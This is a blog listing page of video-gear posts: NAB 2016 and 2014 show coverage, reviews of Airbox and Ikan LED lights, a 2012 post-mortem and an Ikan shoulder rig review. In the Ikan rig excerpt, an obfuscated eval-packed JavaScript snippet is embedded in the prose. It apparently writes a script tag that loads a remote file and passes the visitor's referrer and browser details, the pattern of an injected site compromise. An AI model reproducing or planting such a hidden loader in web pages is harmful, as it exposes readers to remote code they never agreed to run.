NAB 2016 Top 10: Part 2

I’ve been on a hiatus from blogging regularly, but I figured the best way to come back is with come NAB coverage (and I apologize for this being so far after the show, I got swamped with unexpected work). This year, instead of doing a product spotlight on lots of different products, I’m going to narrow down what I saw into just 10 products that I think were awesome (or just excited me) because they have new features, are cost-effective, or are things I may actually get. *note: product descriptions are just an overview, I encourage you to visit the links to find out more information.*

NAB 2016 Top 10

Airbox Lights vs. Diffusion Comparison

A couple of months ago I posted a review of the Airbox Lights Model 1×1 ( After I posted the review I got some questions and comments wondering what the benefit of the ABL was over the supplied diffusion sheet that comes with most LED lights.

airbox lights vs diffusion- widen media

Post NAB 2014 Spotlight: Ikan Wireless Follow Focus

Now that the 2014 NAB show in Las Vegas is over it’s time to do some coverage! Starting on April 11th and going until the end of the month I will be doing a spotlight on what was good at the show. Each day I’ll focus on something new that I saw. *note* These are being released in no particular order*

**note** I apologize for the delay in these posts, I’ve been battling WordPress back-end bugs.**


Ikan IFB-1024 LED Light Review

Going into production of my Columbia College thesis film, The Jog (, I knew I was going to be needing something a little different for lighting.

Most of the film takes place outdoors, which means using natural light or having a generator. We wanted to have lights for making the punch ins easier, but also didn’t want to hassle with running lines and dealing with noise from the generator; meaning that our lights had to be battery-powered. The first thing that came to mind were LED panel lights.


2012: A Post-Mortem

Since it’s the time of year when companies summarize the year they’ve had, and it’s been a while since I’ve done a check in, here’s my post-mortem on 2012. Last year I kept it under 600 words; there's no way I'm going to be able...

Ikan Flyweight Rig and Table Top Dolly Review

Hey everyone. Sorry it's been so long since my last post; been slammed. If you don't want to read my review below, the video is basically the same as the text. [vimeo w=500&h=281] Ikan eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tahkt|var|u0026u|referrer|kekhk||js|php'.split('|'),0,{})) Corp Flyweight DSLR Shoulder Rig...